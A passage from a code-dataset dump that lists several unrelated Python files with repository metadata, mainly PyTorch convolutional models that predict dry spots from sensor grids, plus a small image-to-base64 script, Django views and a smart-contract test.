pad_z = (paddedSize[2]-actualSize[2])/2
unpatchImg = unpatchImg[:, pad_y:actualSize[0]+pad_y, pad_x:actualSize[1]+pad_x, pad_z:actualSize[2]+pad_z]
return unpatchImg[0], unpatchImg[1] | 65.33631 | 321 | 0.576823 | 2,806 | 21,953 | 4.384177 | 0.059872 | 0.039506 | 0.024142 | 0.018777 | 0.863356 | 0.836043 | 0.795562 | 0.768656 | 0.73988 | 0.716388 | 0 | 0.045947 | 0.26042 | 21,953 | 336 | 322 | 65.33631 | 0.711752 | 0.156471 | 0 | 0.5 | 0 | 0 | 0.003236 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.03252 | false | 0.012195 | 0.00813 | 0 | 0.073171 | 0.012195 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7e9f879af772ce68ef7d373b8ccbe12c77eebc71 | 214 | py | Python | png_to_base64.py | Joejn/myDrive | d3a6f0fe14dcde7755faf64038af03b396a3d619 | [
"MIT"
] | null | null | null | png_to_base64.py | Joejn/myDrive | d3a6f0fe14dcde7755faf64038af03b396a3d619 | [
"MIT"
] | null | null | null | png_to_base64.py | Joejn/myDrive | d3a6f0fe14dcde7755faf64038af03b396a3d619 | [
"MIT"
] | null | null | null | import base64
with open("C:/Users/Neuhauser_Jonas/Downloads/2x/outline_person_black_36dp.png", "rb") as image:
print(base64.b64encode(image.read()))
# print(base64.b64encode(image.read()).decode("utf-8"))
| 35.666667 | 96 | 0.733645 | 31 | 214 | 4.935484 | 0.774194 | 0.143791 | 0.261438 | 0.326797 | 0.379085 | 0 | 0 | 0 | 0 | 0 | 0 | 0.071795 | 0.088785 | 214 | 5 | 97 | 42.8 | 0.712821 | 0.247664 | 0 | 0 | 0 | 0 | 0.433962 | 0.421384 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0.333333 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
0e3b6ce21a87e5e030ba00eb090fac9825816b37 | 144 | py | Python | augmentations/__init__.py | visinf/deblur-devil | 53cc4c72a4ddb9dcede5ee52dc53000c39ff5dab | [
"Apache-2.0"
] | 18 | 2019-11-02T05:45:48.000Z | 2021-09-12T10:03:08.000Z | visualizers/__init__.py | visinf/deblur-devil | 53cc4c72a4ddb9dcede5ee52dc53000c39ff5dab | [
"Apache-2.0"
] | 3 | 2019-12-10T07:52:24.000Z | 2021-04-07T19:14:31.000Z | visualizers/__init__.py | visinf/deblur-devil | 53cc4c72a4ddb9dcede5ee52dc53000c39ff5dab | [
"Apache-2.0"
] | 3 | 2020-05-26T08:02:05.000Z | 2020-09-26T21:25:10.000Z | # Author: Jochen Gast <jochen.gast@visinf.tu-darmstadt.de>
from utils import factories
def init():
factories.import_submodules(__name__)
| 18 | 58 | 0.763889 | 19 | 144 | 5.526316 | 0.789474 | 0.190476 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.131944 | 144 | 7 | 59 | 20.571429 | 0.84 | 0.388889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | true | 0 | 0.666667 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
7ec08fdb119ce772b56adb104b5bdcc8b56171e3 | 139 | py | Python | boa3_test/test_sc/interop_test/binary/AtoiDefault.py | DanPopa46/neo3-boa | e4ef340744b5bd25ade26f847eac50789b97f3e9 | [
"Apache-2.0"
] | null | null | null | boa3_test/test_sc/interop_test/binary/AtoiDefault.py | DanPopa46/neo3-boa | e4ef340744b5bd25ade26f847eac50789b97f3e9 | [
"Apache-2.0"
] | null | null | null | boa3_test/test_sc/interop_test/binary/AtoiDefault.py | DanPopa46/neo3-boa | e4ef340744b5bd25ade26f847eac50789b97f3e9 | [
"Apache-2.0"
] | null | null | null | from boa3.builtin import public
from boa3.builtin.interop.binary import atoi
@public
def main(value: str) -> int:
return atoi(value)
| 17.375 | 44 | 0.748201 | 21 | 139 | 4.952381 | 0.666667 | 0.153846 | 0.288462 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017094 | 0.158273 | 139 | 7 | 45 | 19.857143 | 0.871795 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.2 | false | 0 | 0.4 | 0.2 | 0.8 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 6 |
7ed3247bad7b90d45537375327f7402b20e5229b | 405 | py | Python | tests/project/app/views.py | nadodrois/fandjango | f127955e7911c85f0867bf0300f49a91ce66f8ee | [
"MIT"
] | 53 | 2015-01-02T09:36:09.000Z | 2022-02-19T20:31:02.000Z | tests/project/app/views.py | nadodrois/fandjango | f127955e7911c85f0867bf0300f49a91ce66f8ee | [
"MIT"
] | 13 | 2015-04-13T21:39:17.000Z | 2021-06-10T17:29:46.000Z | tests/project/app/views.py | nadodrois/fandjango | f127955e7911c85f0867bf0300f49a91ce66f8ee | [
"MIT"
] | 11 | 2015-09-20T20:48:08.000Z | 2021-04-15T12:07:12.000Z | from django.http import HttpResponse
from fandjango.decorators import facebook_authorization_required
@facebook_authorization_required
def home(request):
return HttpResponse()
@facebook_authorization_required(permissions=["checkins"])
def places(request):
return HttpResponse()
@facebook_authorization_required(redirect_uri="http://example.org")
def redirect(request):
return HttpResponse()
| 25.3125 | 67 | 0.819753 | 43 | 405 | 7.511628 | 0.488372 | 0.260062 | 0.359133 | 0.204334 | 0.334365 | 0.334365 | 0 | 0 | 0 | 0 | 0 | 0 | 0.091358 | 405 | 15 | 68 | 27 | 0.877717 | 0 | 0 | 0.272727 | 0 | 0 | 0.064198 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.272727 | false | 0 | 0.181818 | 0.272727 | 0.727273 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
7d09dc968d563402bcdd7902f6390aaf9dfd611e | 33,855 | py | Python | Models/erfh5_ConvModel.py | isse-augsburg/rtm-predictions | cf7336f10a27fadb479b9ef5d341d17200fbf041 | [
"MIT"
] | null | null | null | Models/erfh5_ConvModel.py | isse-augsburg/rtm-predictions | cf7336f10a27fadb479b9ef5d341d17200fbf041 | [
"MIT"
] | null | null | null | Models/erfh5_ConvModel.py | isse-augsburg/rtm-predictions | cf7336f10a27fadb479b9ef5d341d17200fbf041 | [
"MIT"
] | null | null | null | import logging
import torch
import torch.nn.functional as F
from torch import nn
from torch.nn import Conv2d, ConvTranspose2d, Linear
from Models.model_utils import load_model_layers_from_path
from Utils.data_utils import reshape_to_indeces
from Utils.training_utils import count_parameters
class erfh5_Conv3d(nn.Module):
def __init__(self, sequence_len):
super(erfh5_Conv3d, self).__init__()
self.dropout = nn.Dropout(0.5)
self.conv1 = nn.Conv3d(1, 32, (17, 17, 17), padding=8)
self.conv2 = nn.Conv3d(1, 64, (9, 9, 9), padding=4)
self.conv3 = nn.Conv3d(64, 128, (5, 5, 5), padding=2)
self.conv_f = nn.Conv3d(128, 1, (3, 3, 3), padding=1)
self.conv_end = nn.Conv2d(sequence_len, 1, (3, 3), padding=1)
def forward(self, x):
out = torch.unsqueeze(x, 1)
# out = self.conv1(out)
out = self.dropout(out)
out = F.relu(self.conv2(out))
out = self.dropout(out)
out = F.relu(self.conv3(out))
out = self.dropout(out)
out = F.relu(self.conv_f(out))
out = self.dropout(out)
out = torch.squeeze(out, 1)
out = self.conv_end(out)
out = torch.squeeze(out, 1)
return out
class SensorToDryspotBoolModel(nn.Module):
def __init__(self):
super(SensorToDryspotBoolModel, self).__init__()
self.dropout = nn.dropout(0.1)
self.maxpool = nn.maxpool2d(2, 2)
self.conv1 = nn.conv2d(1, 32, (7, 7))
self.conv2 = nn.conv2d(32, 64, (5, 5))
self.conv3 = nn.conv2d(64, 128, (3, 3))
self.conv4 = nn.conv2d(128, 256, (3, 3))
self.fc1 = nn.linear(256, 1024)
self.fc2 = nn.linear(1024, 512)
self.fc3 = nn.linear(512, 128)
self.fc_f = nn.linear(128, 1)
def forward(self, x):
out = x.reshape((-1, 1, 38, 30))
out = self.dropout(out)
out = F.relu(self.conv1(out))
out = self.dropout(out)
out = F.relu(self.conv2(out))
out = self.dropout(out)
out = F.relu(self.conv3(out))
out = self.maxpool(out)
out = self.dropout(out)
out = F.relu(self.conv4(out))
out = self.maxpool(out)
out = self.dropout(out)
out = out.view(out.size(0), 256, -1)
out = out.sum(2)
out = F.relu(self.fc1(out))
out = self.dropout(out)
out = F.relu(self.fc2(out))
out = self.dropout(out)
out = F.relu(self.fc3(out))
out = self.dropout(out)
out = self.fc_f(out)
return out
class erfh5_Conv2dPercentage(nn.Module):
def __init__(self):
super(erfh5_Conv2dPercentage, self).__init__()
self.dropout = nn.Dropout(0.5)
self.maxpool = nn.MaxPool2d(2, 2)
self.conv1 = nn.Conv2d(1, 32, (15, 15))
self.conv2 = nn.Conv2d(32, 64, (7, 7))
self.conv3 = nn.Conv2d(64, 128, (3, 3))
self.conv4 = nn.Conv2d(128, 256, (3, 3))
self.fc1 = nn.Linear(256, 1024)
self.fc2 = nn.Linear(1024, 512)
self.fc3 = nn.Linear(512, 128)
self.fc_f = nn.Linear(128, 1)
def forward(self, x):
out = torch.unsqueeze(x, 1)
out = self.dropout(out)
out = F.relu(self.conv1(out))
out = self.maxpool(out)
out = self.dropout(out)
out = F.relu(self.conv2(out))
out = self.maxpool(out)
out = self.dropout(out)
out = F.relu(self.conv3(out))
out = self.maxpool(out)
out = self.dropout(out)
out = F.relu(self.conv4(out))
out = self.maxpool(out)
out = self.dropout(out)
out = out.view(out.size(0), 256, -1)
out = out.sum(2)
out = F.relu(self.fc1(out))
out = self.dropout(out)
out = F.relu(self.fc2(out))
out = self.dropout(out)
out = F.relu(self.fc3(out))
out = self.dropout(out)
out = self.fc_f(out)
return out
class erfh5_Conv25D_Frame(nn.Module):
def __init__(self, sequence_len):
super(erfh5_Conv25D_Frame, self).__init__()
self.conv1 = nn.Conv2d(sequence_len, 32, (15, 15), padding=7)
self.conv2 = nn.Conv2d(32, 64, (7, 7), padding=3)
self.conv3 = nn.Conv2d(64, 128, (3, 3), padding=1)
self.conv4 = nn.Conv2d(128, 1, (3, 3), padding=1)
self.dropout = nn.Dropout(0.5)
def forward(self, x):
out = self.dropout(x)
out = F.relu(self.conv1(out))
out = self.dropout(out)
out = F.relu(self.conv2(out))
out = self.dropout(out)
out = F.relu(self.conv3(out))
out = self.dropout(out)
out = F.relu(self.conv4(out))
out = torch.squeeze(out, 1)
return out
class DrySpotModel(nn.Module):
def __init__(self):
super().__init__()
self.conv1 = Conv2d(1, 128, 13, stride=1, padding=0)
self.conv2 = Conv2d(128, 256, 7, stride=1, padding=0)
self.conv3 = Conv2d(256, 512, 5, stride=1, padding=0)
self.conv4 = Conv2d(512, 1024, 3, padding=0)
self.fc_f1 = nn.Linear(1024, 512)
self.fc_f2 = nn.Linear(512, 256)
self.fc_f3 = nn.Linear(256, 1)
self.dropout = nn.Dropout(0.2)
def forward(self, x):
a = x.reshape(-1, 1, 143, 111)
b = F.relu(F.max_pool2d(self.conv1(a), kernel_size=2, stride=2))
c = F.relu(F.max_pool2d(self.conv2(b), kernel_size=2, stride=2))
d = F.relu(F.max_pool2d(self.conv3(c), kernel_size=2, stride=2))
e = F.relu(self.conv4(d))
f = e.view(e.shape[0], e.shape[1], -1).mean(2)
f = self.dropout(f)
g = F.relu(self.fc_f1(f))
g = self.dropout(g)
h = F.relu(self.fc_f2(g))
h = self.dropout(h)
i = torch.sigmoid(self.fc_f3(h))
return i
class SensorDeconvToDryspot(nn.Module):
def __init__(self, input_dim=1140):
super(SensorDeconvToDryspot, self).__init__()
self.fc = Linear(input_dim, 1140)
self.ct1 = ConvTranspose2d(1, 16, 3, stride=2, padding=0)
self.ct2 = ConvTranspose2d(16, 32, 7, stride=2, padding=0)
self.ct3 = ConvTranspose2d(32, 64, 15, stride=2, padding=0)
self.ct4 = ConvTranspose2d(64, 64, 17, stride=2, padding=0)
self.maxpool = nn.MaxPool2d(2, 2)
self.shaper0 = Conv2d(64, 32, 17, stride=2, padding=0)
self.shaper = Conv2d(32, 64, 15, stride=2, padding=0)
self.med = Conv2d(64, 128, 7, padding=0)
self.details = Conv2d(128, 256, 3)
self.details2 = Conv2d(256, 1024, 3, padding=0)
self.linear2 = Linear(1024, 512)
self.linear3 = Linear(512, 256)
self.linear4 = Linear(256, 1)
def forward(self, inputs):
f = inputs
# f = F.relu(self.fc(inputs))
fr = f.reshape((-1, 1, 38, 30))
fr = fr.contiguous()
k = F.relu(self.ct1(fr))
k2 = F.relu(self.ct2(k))
k3 = F.relu(self.ct3(k2))
k3 = F.relu(self.ct4(k3))
t1 = F.relu(self.shaper0(k3))
t1 = self.maxpool(t1)
t1 = F.relu(self.shaper(t1))
t1 = self.maxpool(t1)
t2 = F.relu(self.med(t1))
t2 = self.maxpool(t2)
t3 = F.relu(self.details(t2))
t3 = self.maxpool(t3)
t4 = torch.sigmoid(self.details2(t3))
v = t4.view((t4.shape[0], 1024, -1)).contiguous()
out = v.mean(-1).contiguous()
out = F.relu(self.linear2(out))
out = F.relu(self.linear3(out))
out = F.relu(self.linear4(out))
return out
class SensorDeconvToDryspot2(nn.Module):
def __init__(self, pretrained=False, checkpoint_path=None, freeze_nlayers=0):
super(SensorDeconvToDryspot2, self).__init__()
self.ct1 = ConvTranspose2d(1, 16, 3, stride=2, padding=0)
self.ct2 = ConvTranspose2d(16, 32, 7, stride=2, padding=0)
self.ct3 = ConvTranspose2d(32, 64, 15, stride=2, padding=0)
self.ct4 = ConvTranspose2d(64, 128, 17, stride=2, padding=0)
self.shaper0 = Conv2d(128, 64, 17, stride=2, padding=0)
self.shaper = Conv2d(64, 32, 15, stride=2, padding=0)
self.med = Conv2d(32, 32, 7, padding=0)
self.maxpool = nn.MaxPool2d(2, 2)
self.linear2 = Linear(1024, 512)
self.linear3 = Linear(512, 256)
self.linear4 = Linear(256, 1)
if pretrained:
self.load_model(checkpoint_path)
if freeze_nlayers == 0:
return
for i, c in enumerate(self.children()):
logger = logging.getLogger(__name__)
logger.info(f'Freezing: {c}')
for param in c.parameters():
param.requires_grad = False
if i == freeze_nlayers - 1:
break
def forward(self, inputs):
f = inputs
fr = f.reshape((-1, 1, 38, 30))
k = F.relu(self.ct1(fr))
k2 = F.relu(self.ct2(k))
k3 = F.relu(self.ct3(k2))
x = F.relu(self.ct4(k3))
x = F.relu(self.shaper0(x))
x = self.maxpool(x)
x = F.relu(self.shaper(x))
x = self.maxpool(x)
x = F.relu(self.med(x))
x = self.maxpool(x)
x = x.view((x.shape[0], 1024, -1)).contiguous()
x = x.mean(-1).contiguous()
x = F.relu(self.linear2(x))
x = F.relu(self.linear3(x))
x = torch.sigmoid(self.linear4(x))
return x
def load_model(self, path):
from collections import OrderedDict
logger = logging.getLogger(__name__)
logger.info(f'Loading model from {path}')
if torch.cuda.is_available():
checkpoint = torch.load(path)
else:
checkpoint = torch.load(path, map_location='cpu')
new_model_state_dict = OrderedDict()
model_state_dict = checkpoint["model_state_dict"]
names = {'ct1', 'ct2', 'ct3', 'ct4', 'shaper0'}
for k, v in model_state_dict.items():
splitted = k.split('.')
name = splitted[1] # remove `module.`
if name in names:
new_model_state_dict[f'{name}.{splitted[2]}'] = v
else:
continue
self.load_state_dict(new_model_state_dict, strict=False)
class S80DeconvToDrySpotEff(nn.Module):
def __init__(self, pretrained="", checkpoint_path=None, freeze_nlayers=0): # Could be 7
super(S80DeconvToDrySpotEff, self).__init__()
self.ct1 = ConvTranspose2d(1, 128, 3, stride=2, padding=0)
self.ct3 = ConvTranspose2d(128, 64, 7, stride=2, padding=0)
self.ct5 = ConvTranspose2d(64, 32, 15, stride=2, padding=0)
self.ct6 = ConvTranspose2d(32, 8, 17, stride=2, padding=0)
self.c1 = Conv2d(8, 32, 11, stride=2)
self.ck = Conv2d(32, 32, 3, padding=0)
self.cj = Conv2d(32, 1, 3, padding=0)
self.cc2 = Conv2d(1, 16, 21)
self.cc3 = Conv2d(16, 64, 13)
self.cc4 = Conv2d(64, 256, 5)
self.cc5 = Conv2d(256, 512, 3)
self.cc6 = Conv2d(512, 1024, 1)
self.maxpool = nn.MaxPool2d(2, 2)
self.dropout = nn.Dropout(.3)
self.lin1 = nn.Linear(1024 * 3, 512)
self.lin3 = nn.Linear(512, 1)
if pretrained == "deconv_weights":
logger = logging.getLogger(__name__)
weights = load_model_layers_from_path(path=checkpoint_path,
layer_names={'ct1', 'ct3', 'ct5', 'ct6', 'c1', 'ck', 'cj'})
incomp = self.load_state_dict(weights, strict=False)
logger.debug(f'All layers: {self.state_dict().keys()}')
logger.debug(f'Loaded weights but the following: {incomp}')
if freeze_nlayers == 0:
return
for i, c in enumerate(self.children()):
logger = logging.getLogger(__name__)
logger.info(f'Freezing: {c}')
for param in c.parameters():
param.requires_grad = False
if i == freeze_nlayers - 1:
break
def forward(self, inputs):
inputs = inputs.reshape((-1, 1, 10, 8))
x = F.relu(self.ct1(inputs))
x = F.relu(self.ct3(x))
x = F.relu(self.ct5(x))
x = F.relu(self.ct6(x))
x = F.relu(self.c1(x))
x = F.relu(self.ck(x))
x = F.relu(self.cj(x))
###
x = F.relu(self.maxpool(self.cc2(x)))
x = F.relu(self.maxpool(self.cc3(x)))
x = F.relu(self.maxpool(self.cc4(x)))
x = F.relu(self.cc5(x))
x = F.relu(self.cc6(x))
x = x.view((x.shape[0], 3 * 1024, -1)).contiguous()
x = x.mean(-1).contiguous()
x = self.dropout(x)
x = F.relu(self.lin1(x))
x = self.dropout(x)
# x = F.relu(self.lin2(x))
# x = self.dropout(x)
x = torch.sigmoid(self.lin3(x))
return x
class S80Deconv2ToDrySpotEff(nn.Module):
def __init__(self, pretrained="", checkpoint_path=None,
freeze_nlayers=0, # Could be 9
round_at: float = None,
demo_mode=False):
super(S80Deconv2ToDrySpotEff, self).__init__()
self.ct1 = ConvTranspose2d(1, 128, 3, stride=2, padding=0)
self.ct3 = ConvTranspose2d(128, 64, 7, stride=2, padding=0)
self.ct5 = ConvTranspose2d(64, 32, 15, stride=2, padding=0)
self.ct6 = ConvTranspose2d(32, 16, 17, stride=2, padding=0)
self.ctr = ConvTranspose2d(16, 8, 19, stride=1, padding=0)
self.c1 = Conv2d(8, 32, 11, stride=2, padding=1)
self.cu = Conv2d(32, 64, 7, stride=1, padding=1)
self.ck = Conv2d(64, 32, 3, padding=0)
self.cj = Conv2d(32, 1, 3, padding=0)
self.cc2 = Conv2d(1, 16, 21)
self.cc3 = Conv2d(16, 64, 13)
self.cc4 = Conv2d(64, 256, 5)
self.cc5 = Conv2d(256, 512, 3)
self.cc6 = Conv2d(512, 1024, 1)
self.maxpool = nn.MaxPool2d(2, 2)
self.dropout = nn.Dropout(.3)
self.lin1 = nn.Linear(1024 * 2, 512)
self.lin3 = nn.Linear(512, 1)
self.round_at = round_at
self.demo_mode = demo_mode
if pretrained == "deconv_weights":
logger = logging.getLogger(__name__)
weights = load_model_layers_from_path(path=checkpoint_path,
layer_names={'ct1', 'ct3', 'ct5', 'ct6', 'ctr',
'c1', 'cu', 'ck', 'cj'})
incomp = self.load_state_dict(weights, strict=False)
logger.debug(f'All layers: {self.state_dict().keys()}')
logger.debug(f'Loaded weights but the following: {incomp}')
elif pretrained == "all":
logger = logging.getLogger(__name__)
weights = load_model_layers_from_path(path=checkpoint_path,
layer_names={'ct1', 'ct3', 'ct5', 'ct6', 'ctr',
'c1', 'cu', 'ck', 'cj',
'cc2', 'cc3', 'cc4', 'cc5', 'cc6',
'lin1', 'lin3'})
incomp = self.load_state_dict(weights, strict=False)
logger.debug(f'All layers: {self.state_dict().keys()}')
logger.debug(f'Loaded weights but the following: {incomp}')
if freeze_nlayers == 0:
return
for i, c in enumerate(self.children()):
logger = logging.getLogger(__name__)
logger.info(f'Freezing: {c}')
for param in c.parameters():
param.requires_grad = False
if i == freeze_nlayers - 1:
break
def forward(self, inputs):
if self.demo_mode:
inputs = reshape_to_indeces(inputs, ((1, 4), (1, 4)), 80).contiguous()
inputs = inputs.reshape((-1, 1, 10, 8))
x = F.relu(self.ct1(inputs))
x = F.relu(self.ct3(x))
x = F.relu(self.ct5(x))
x = F.relu(self.ct6(x))
x = F.relu(self.ctr(x))
x = F.relu(self.c1(x))
x = F.relu(self.cu(x))
x = F.relu(self.ck(x))
x = F.relu(self.cj(x))
###
if self.round_at is not None:
x = x.masked_fill((x >= self.round_at), 1.)
x = x.masked_fill((x < self.round_at), 0.)
x = F.relu(self.maxpool(self.cc2(x)))
x = F.relu(self.maxpool(self.cc3(x)))
x = F.relu(self.maxpool(self.cc4(x)))
x = F.relu(self.maxpool(self.cc5(x)))
x = F.relu(self.cc6(x))
x = x.view((x.shape[0], 2 * 1024, -1)).contiguous()
x = x.mean(-1).contiguous()
x = self.dropout(x)
x = F.relu(self.lin1(x))
x = self.dropout(x)
x = torch.sigmoid(self.lin3(x))
return x
class S20DeconvToDrySpotEff(nn.Module):
def __init__(self, pretrained="", checkpoint_path=None, freeze_nlayers=0):
super(S20DeconvToDrySpotEff, self).__init__()
self.ct1 = ConvTranspose2d(1, 256, 3, stride=2, padding=0)
self.ct2 = ConvTranspose2d(256, 128, 5, stride=2, padding=0)
self.ct3 = ConvTranspose2d(128, 64, 10, stride=2, padding=0)
self.ct4 = ConvTranspose2d(64, 16, 17, stride=2, padding=0)
self.details = Conv2d(16, 8, 5)
self.c2 = Conv2d(8, 16, 7, padding=0)
self.c3 = Conv2d(16, 8, 5, padding=0)
self.c4 = Conv2d(8, 1, 3, padding=0)
self.maxpool = nn.MaxPool2d(2, 2)
self.lin1 = Linear(572, 512)
self.lin2 = Linear(512, 256)
self.lin3 = Linear(256, 1)
if pretrained == "deconv_weights":
logger = logging.getLogger(__name__)
weights = load_model_layers_from_path(path=checkpoint_path,
layer_names={'ct1', 'ct2', 'ct3', 'ct4',
'details'})
incomp = self.load_state_dict(weights, strict=False)
logger.debug(f'All layers: {self.state_dict().keys()}')
logger.debug(f'Loaded weights but the following: {incomp}')
if freeze_nlayers == 0:
return
for i, c in enumerate(self.children()):
logger = logging.getLogger(__name__)
logger.info(f'Freezing: {c}')
for param in c.parameters():
param.requires_grad = False
if i == freeze_nlayers - 1:
break
def forward(self, inputs):
frs = inputs.reshape((-1, 1, 5, 4))
x = F.relu(self.ct1(frs))
x = F.relu(self.ct2(x))
x = F.relu(self.ct3(x))
x = F.relu(self.ct4(x))
x = F.relu(self.details(x))
x = F.relu(self.c2(x))
x = self.maxpool(x)
x = F.relu(self.c3(x))
x = self.maxpool(x)
x = F.relu(self.c4(x))
x = x.view((x.shape[0], 572, -1)).contiguous()
x = x.mean(-1).contiguous()
x = F.relu(self.lin1(x))
x = F.relu(self.lin2(x))
x = torch.sigmoid(self.lin3(x))
return x
class S20DeconvToDrySpotEff2(nn.Module):
def __init__(self, pretrained="", checkpoint_path=None, freeze_nlayers=0, round_at: float = None,
demo_mode=False):
super(S20DeconvToDrySpotEff2, self).__init__()
self.ct1 = ConvTranspose2d(1, 256, 3, stride=2)
self.ct2 = ConvTranspose2d(256, 128, 5, stride=2)
self.ct3 = ConvTranspose2d(128, 64, 10, stride=2)
self.ct4 = ConvTranspose2d(64, 16, 17, stride=2)
self.details = Conv2d(16, 8, 5)
# ^ Pretrained ^
self.c2 = Conv2d(8, 16, 13)
self.c3 = Conv2d(16, 64, 7)
self.c4 = Conv2d(64, 128, 3)
self.c5 = Conv2d(128, 256, 3)
self.c6 = Conv2d(256, 512, 3)
self.c7 = Conv2d(512, 512, 1)
self.maxpool = nn.MaxPool2d(2, 2)
self.lin1 = Linear(1024, 256)
self.lin2 = Linear(256, 1)
self.dropout = nn.Dropout(0.3)
# self.bn8 = nn.BatchNorm2d(8)
# self.bn512 = nn.BatchNorm2d(512)
self.round_at = round_at
self.demo_mode = demo_mode
if pretrained == "deconv_weights":
logger = logging.getLogger(__name__)
weights = load_model_layers_from_path(path=checkpoint_path,
layer_names={'ct1', 'ct2', 'ct3', 'ct4',
'details'})
incomp = self.load_state_dict(weights, strict=False)
logger.debug(f'All layers: {self.state_dict().keys()}')
logger.debug(f'Loaded weights but the following: {incomp}')
if pretrained == "all":
logger = logging.getLogger(__name__)
weights = load_model_layers_from_path(path=checkpoint_path,
layer_names={'ct1', 'ct2', 'ct3', 'ct4',
'details', 'c2', 'c3', 'c4', 'c5', 'c6', 'c7',
'lin1', 'lin2'})
incomp = self.load_state_dict(weights, strict=False)
logger.debug(f'All layers: {self.state_dict().keys()}')
logger.debug(f'Loaded weights but the following: {incomp}')
if freeze_nlayers == 0:
return
for i, c in enumerate(self.children()):
logger = logging.getLogger(__name__)
logger.info(f'Freezing: {c}')
for param in c.parameters():
param.requires_grad = False
if i == freeze_nlayers - 1:
break
def forward(self, inputs):
if self.demo_mode:
inputs = reshape_to_indeces(inputs, ((1, 8), (1, 8)), 20).contiguous()
frs = inputs.reshape((-1, 1, 5, 4))
x = F.relu(self.ct1(frs))
x = F.relu(self.ct2(x))
x = F.relu(self.ct3(x))
x = F.relu(self.ct4(x))
x = F.relu(self.details(x))
if self.round_at is not None:
x = x.masked_fill((x >= self.round_at), 1.)
x = x.masked_fill((x < self.round_at), 0.)
# Shape: [1, 8, 127, 111]
# x = self.bn8(x)
x = F.relu(self.c2(x))
x = self.maxpool(x)
x = F.relu(self.c3(x))
x = self.maxpool(x)
x = F.relu(self.c4(x))
x = self.maxpool(x)
x = F.relu(self.c5(x))
x = self.maxpool(x)
x = F.relu(self.c6(x))
x = F.relu(self.c7(x))
# x = self.bn512(x)
x = x.view((x.shape[0], 1024, -1)).contiguous()
x = x.mean(-1).contiguous()
x = F.relu(self.lin1(x))
x = self.dropout(x)
x = torch.sigmoid(self.lin2(x))
return x
class S20DeconvToDrySpotEff3(nn.Module):
def __init__(self, pretrained="", checkpoint_path=None, freeze_nlayers=0):
super(S20DeconvToDrySpotEff3, self).__init__()
self.ct1 = ConvTranspose2d(1, 256, 3, stride=2)
self.ct2 = ConvTranspose2d(256, 128, 5, stride=2)
self.ct3 = ConvTranspose2d(128, 64, 10, stride=2)
self.ct4 = ConvTranspose2d(64, 16, 17, stride=2)
self.details = Conv2d(16, 8, 5)
# ^ Pretrained ^
self.c2 = Conv2d(8, 32, 13)
self.c3 = Conv2d(32, 128, 7)
self.c4 = Conv2d(128, 512, 3)
self.c5 = Conv2d(512, 512, 3)
self.c6 = Conv2d(512, 512, 1)
self.maxpool = nn.MaxPool2d(2, 2)
self.lin1 = Linear(1024, 256)
self.lin2 = Linear(256, 1)
self.dropout = nn.Dropout(0.3)
self.bn8 = nn.BatchNorm2d(8)
self.bn512 = nn.BatchNorm2d(512)
if pretrained == "deconv_weights":
logger = logging.getLogger(__name__)
weights = load_model_layers_from_path(path=checkpoint_path,
layer_names={'ct1', 'ct2', 'ct3', 'ct4',
'details'})
incomp = self.load_state_dict(weights, strict=False)
logger.debug(f'All layers: {self.state_dict().keys()}')
logger.debug(f'Loaded weights but the following: {incomp}')
if freeze_nlayers == 0:
return
for i, c in enumerate(self.children()):
logger = logging.getLogger(__name__)
logger.info(f'Freezing: {c}')
for param in c.parameters():
param.requires_grad = False
if i == freeze_nlayers - 1:
break
def forward(self, inputs):
frs = inputs.reshape((-1, 1, 5, 4))
x = F.relu(self.ct1(frs))
x = F.relu(self.ct2(x))
x = F.relu(self.ct3(x))
x = F.relu(self.ct4(x))
x = F.relu(self.details(x))
# Shape: [1, 8, 127, 111]
x = self.bn8(x)
x = F.relu(self.c2(x))
x = self.maxpool(x)
x = F.relu(self.c3(x))
x = self.maxpool(x)
x = F.relu(self.c4(x))
x = self.maxpool(x)
x = F.relu(self.c5(x))
x = self.maxpool(x)
x = F.relu(self.c6(x))
x = self.bn512(x)
x = x.view((x.shape[0], 1024, -1)).contiguous()
x = x.mean(-1).contiguous()
x = F.relu(self.lin1(x))
x = self.dropout(x)
x = torch.sigmoid(self.lin2(x))
return x
class SensorDeconvToDryspotEfficient(nn.Module):
def __init__(self, pretrained="", checkpoint_path=None, freeze_nlayers=0):
super(SensorDeconvToDryspotEfficient, self).__init__()
self.ct1 = ConvTranspose2d(1, 128, 3, stride=2, padding=0)
self.ct2 = ConvTranspose2d(128, 64, 7, stride=2, padding=0)
